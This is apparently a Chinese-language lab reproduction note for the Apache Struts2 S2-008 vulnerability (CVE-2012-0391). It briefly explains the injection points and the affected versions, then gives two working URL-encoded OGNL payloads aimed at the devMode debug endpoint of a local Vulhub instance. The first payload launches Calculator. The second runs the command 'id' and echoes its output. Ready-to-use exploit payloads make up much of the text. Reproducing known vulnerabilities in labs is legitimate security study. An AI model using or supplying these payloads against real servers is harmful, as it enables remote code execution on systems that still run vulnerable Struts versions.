(CVE-2012-0391)s2-008¶
一、漏洞简介¶
主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码
第一种情况其实就是S2-007,在异常处理时的OGNL执行
第二种的cookie的方式,虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋
第四种需要开启devModedebug模式
二、漏洞影响¶
2.1.0 - 2.3.1
三、复现过程¶
复现采用的是第四种devMode的debug模式,造成的任意代码执行
POC¶
第一个vulhub给的poc 不好使呀 java.lang.UNIXProcess@493c1254
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
有回显
/S2-008/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29